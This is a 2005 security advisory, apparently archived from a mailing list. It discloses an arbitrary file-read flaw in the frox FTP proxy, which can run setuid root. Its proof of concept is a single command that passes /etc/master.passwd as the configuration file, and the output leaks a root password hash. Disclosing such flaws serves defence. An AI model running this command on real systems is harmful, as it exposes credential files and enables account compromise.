OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
File aribitary read access in frox

un4m31gmail.com
Date: Wed Aug 31 2005 - 23:45:57 CDT


=( c1zc0 Security advisory #1 )=
=( Frox transparent froxy / cache )=
=( found by rotor irc.efnet.org #c1zc0 )=
=( http://c1zc0.com - c1zc0 Security 2005 )=

Package: frox
Frox Author: James Hollingshead
Download Site: http://frox.sourceforge.net
Vulnrability: File aribitary read access

Frox is a transparent proxy/cache system for FreeBSD
with the options to be setuid root or be ran as root.
Frox has a security risk which allows any user to read
protected files on the system. This is because of the
way frox handles the loading of configuration files.
The problem exists in the -f option ( which specifies the configuration file):

POC:

q(rotorr0t0r.0daysecurity.com)
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotorr0t0r.0daysecurity.com)
mq(/usr/local/sbin)->

Vender Has not Been Notified.